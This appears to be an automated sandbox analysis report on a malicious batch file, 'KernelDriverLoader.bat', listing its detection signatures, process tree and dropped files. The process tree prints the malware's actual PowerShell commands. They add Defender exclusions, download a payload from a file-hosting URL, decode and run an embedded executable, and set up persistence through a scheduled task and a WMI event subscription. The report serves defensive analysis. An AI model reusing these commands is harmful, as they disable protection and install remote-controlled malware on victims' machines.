Analysis

  • user interaction
    yes
  • max time kernel
    148s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/09/2026, 19:38

General

  • Target
    KernelDriverLoader.bat
  • Size 1KB
  • Sample260920-ycejsa1vbz
  • SHA256 fe842f609e399712413f3eec680daa084345a386664679d55255179095f129da
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\KernelDriverLoader.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\system32\fltMC.exe
      fLtMc
      2⤵
        PID:4764
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" -NoProfile -WindowStyle Hidden -Command "aDd-MpPrEfeReNcE -ExClUsIoNpAtH 'C:\Users\Public\Documents\WindowsCache'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'pOwErShElL.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'cMd.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNpRoCeSs 'wScRiPt.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.BaT'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.CmD'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.ExE'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.Ps1'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.SyS'; aDd-MpPrEfeReNcE -ExClUsIoNeXtEnSiOn '.DlL'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3784
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\pOwErShElL.ExE" /c powershell -NoProfile -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://file.garden/aq8jkB_uhFstvyCo/KernalDriverLoaderSYSinstall.bat' -OutFile 'C:\Users\Public\Documents\WindowsCache\svc.bat' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5160
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command Continue=SilentlyContinue
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3876
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "$f=$env:_OVD_SELF;$l=[IO.File]::ReadAllLines($f);$i=0;for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq ':OVD_BA7F83A1AEB1437A'){$i=$j+1;break}};$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');[IO.File]::WriteAllBytes($t,$b);Start-Process $t;exit"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4192
        • C:\Users\Admin\AppData\Local\Temp\6ab3ba73-b258-431f-8829-f2afa13432b2.exe
          "C:\Users\Admin\AppData\Local\Temp\6ab3ba73-b258-431f-8829-f2afa13432b2.exe"
          3⤵
          • Creates a file in the Startup directory
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks processor information in registry
          • Suspicious use of WriteProcessMemory
          PID:3092
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Scvhost_adc3ad25' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2640
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5636
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
        1⤵
          PID:5380
        • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe"
          1⤵
          • Creates a file in the Startup directory
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:5932
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Scvhost_adc3ad25' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1428
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'Scvhost_fadc3ad25'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'Scvhost_cadc3ad25'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Scvhost.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='Scvhost_fadc3ad25'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='Scvhost_cadc3ad25'\"; $null = $b.Put()"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:6128

        Network

              MITRE ATT&CK Enterprise v16

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              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 317977fb3301364942835798b64e3e1c014346b396272a4348a9c03a9e56282e
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 8b3bb9f0e0483b51db1e8ab4e620c3ebacc23760288fabdb981fc5b5b229f68c
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 ded30e820fd9d7698d026a2c70d768da693229bb441b58414d20eaafa16fc0ce
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4ca72644538f4da03f73a95fb76e185d00788bdad39bf7943e44e2008bd7e11e
              • MD5 SHA1 SHA512 TLSH

              6ab3ba73-b258-431f-8829-f2afa13432b2.exe

              • Path C:\Users\Admin\AppData\Local\Temp\6ab3ba73-b258-431f-8829-f2afa13432b2.exe
              • Size 10.9MB
              • SHA256 0037df572d6431184ba9403e5f414d2abcf96f423643f770d825f1c432fcf92b
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_coutpszn.xjq.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_coutpszn.xjq.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              svc.bat

              • Path C:\Users\Public\Documents\WindowsCache\svc.bat
              • Size 15.0MB
              • SHA256 cf2bc7d31bedf8d8f0cdb6cf16f81b3def595986e91a05261b754cd83863571a
              • MD5 SHA1 SHA512 SSDEEP TLSH

              svc2.bat

              • Path C:\Users\Public\Documents\WindowsCache\svc2.bat
              • Size 562B
              • SHA256 065e63b9746b5b93c635fb75927057f7800ec7050d2a5f89f2cd5b2efbd5ad58
              • MD5 SHA1 SHA512 TLSH

              memory/2640-106-0x000002927E270000-0x000002927E322000-memory.dmp

              memory/3092-98-0x00007FF698780000-0x00007FF69C7E9000-memory.dmp

              memory/3092-126-0x00007FF698780000-0x00007FF69C7E9000-memory.dmp

              memory/3092-129-0x00007FF698780000-0x00007FF69C7E9000-memory.dmp

              memory/3784-14-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-11-0x000002326A800000-0x000002326A80A000-memory.dmp

              memory/3784-20-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-21-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-22-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-23-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-24-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-26-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-18-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-17-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-16-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-15-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-13-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-12-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-0-0x00007FFA5463F000-0x00007FFA54640000-memory.dmp

              memory/3784-19-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-9-0x000002326AA20000-0x000002326AA3E000-memory.dmp

              memory/3784-10-0x000002326AA40000-0x000002326AAF2000-memory.dmp

              memory/3784-4-0x000002326A770000-0x000002326A792000-memory.dmp

              memory/3784-3-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-5-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3784-6-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/3876-56-0x00000138E5760000-0x00000138E5768000-memory.dmp

              memory/3876-57-0x00000138E5790000-0x00000138E5796000-memory.dmp

              memory/3876-58-0x00000138E57A0000-0x00000138E57AA000-memory.dmp

              memory/3876-55-0x00000138E57B0000-0x00000138E57CC000-memory.dmp

              memory/3876-54-0x00000138E5750000-0x00000138E575A000-memory.dmp

              memory/3876-53-0x00000138E5770000-0x00000138E578E000-memory.dmp

              memory/3876-52-0x00000138E5220000-0x00000138E52D2000-memory.dmp

              memory/5160-43-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-47-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-74-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-63-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-62-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-61-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-60-0x0000021A585F0000-0x0000021A5861D000-memory.dmp

              memory/5160-73-0x0000021A585F0000-0x0000021A5861D000-memory.dmp

              memory/5160-46-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-45-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-44-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-38-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5160-39-0x00007FFA544B0000-0x00007FFA54E54000-memory.dmp

              memory/5932-124-0x00007FF79C850000-0x00007FF7A08B9000-memory.dmp